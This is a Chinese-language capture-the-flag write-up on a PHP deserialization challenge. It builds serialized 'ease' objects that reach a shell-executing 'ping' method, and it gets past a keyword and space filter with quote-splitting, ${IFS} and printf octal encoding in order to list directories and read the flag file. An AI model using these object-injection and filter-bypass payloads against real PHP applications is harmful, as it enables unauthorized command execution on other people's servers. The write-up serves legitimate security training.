开启场景
整体来说是创建了一个case类,然后可接受post传来的ctf的值,并对其进行base64解码以及反序列化。所以我们能控制ctf变量。
- 先看__wakeup方法,该方法使用waf方法对$arg中的内容进行了防护,过滤掉了| & ; 空格 / cat flag tac php ls。
- 再看__destruct方法,该方法检测ping是否在
$method
中,并调用了名为$method
的方法,且以数组$arg
中的值作为参数。 - 接着看ping方法,该方法的结构为将输入参数作为外部命令进行执行,并返回输出结果。该函数实现了作为一个webshell的基本条件。
- 综合来看就是在通过
$method
和__construct来调用构造的ping方法,接着通过$args来作为输入口进行命令的输入。
查看目录文件
写一段序列化代码对 ls 命令序列化之后再 base64 编码
<?phpclass ease{private $method;private $args;function __construct($method, $args) {$this->method = $method;$this->args = $args;}}
$a = new ease("ping",array('l""s'));
$b = serialize($a);
echo $b;
echo'</br>';
echo base64_encode($b);
?>
使用 php在线编译工具编译之后得到了一串 base64 编码
在场景页面打开 F12 使用 hackbar 插件发送post 请求,
发现了有一个flag_1s_here文件夹
查看flag_1s_here文件夹
再用序列化代码重复上述操作
<?php
class ease{private $method;private $args;function __construct($method, $args) {$this->method = $method;$this->args = $args;}}$o=new ease("ping",array('l""s${IFS}f""lag_1s_here'));
$s = serialize($o);
echo base64_encode($s);
?>
再编译得到了 base64 编码
再发送 post 请求
发现了一个flag_831b69012c67b35f.php 文件
查看flag_831b69012c67b35f.php
flag,cat,flag,php都可以用双引号绕过,空格用${IFS}
绕过,/要用printf
及$()
绕过。
<?phpclass ease{
private $method;
private $args;
function __construct($method, $args) {$this->method = $method;$this->args = $args;
}}
$a = new ease("ping",array('c""at${IFS}f""lag_1s_here$(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp'));
$b = serialize($a);
echo $b;
echo'</br>';
echo base64_encode($b);
?>
再编译
再发送 post 请求
或者直接对整个要执行的命令用printf及$()
绕过,flag_1s_here/flag_831b69012c67b35f.php的八进制或十六进制编码都可以
<?phpclass ease{private $method;
private $args;
function __construct($method, $args) {$this->method = $method;$this->args = $args;
}}
$a = new ease("ping",array('$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")'));
$b = serialize($a);
echo $b;
echo'</br>';
echo base64_encode($b);
?>
最终二者都发现了 flag
cyberpeace{90c18db4e46c6499d6e25e37c7babaf9}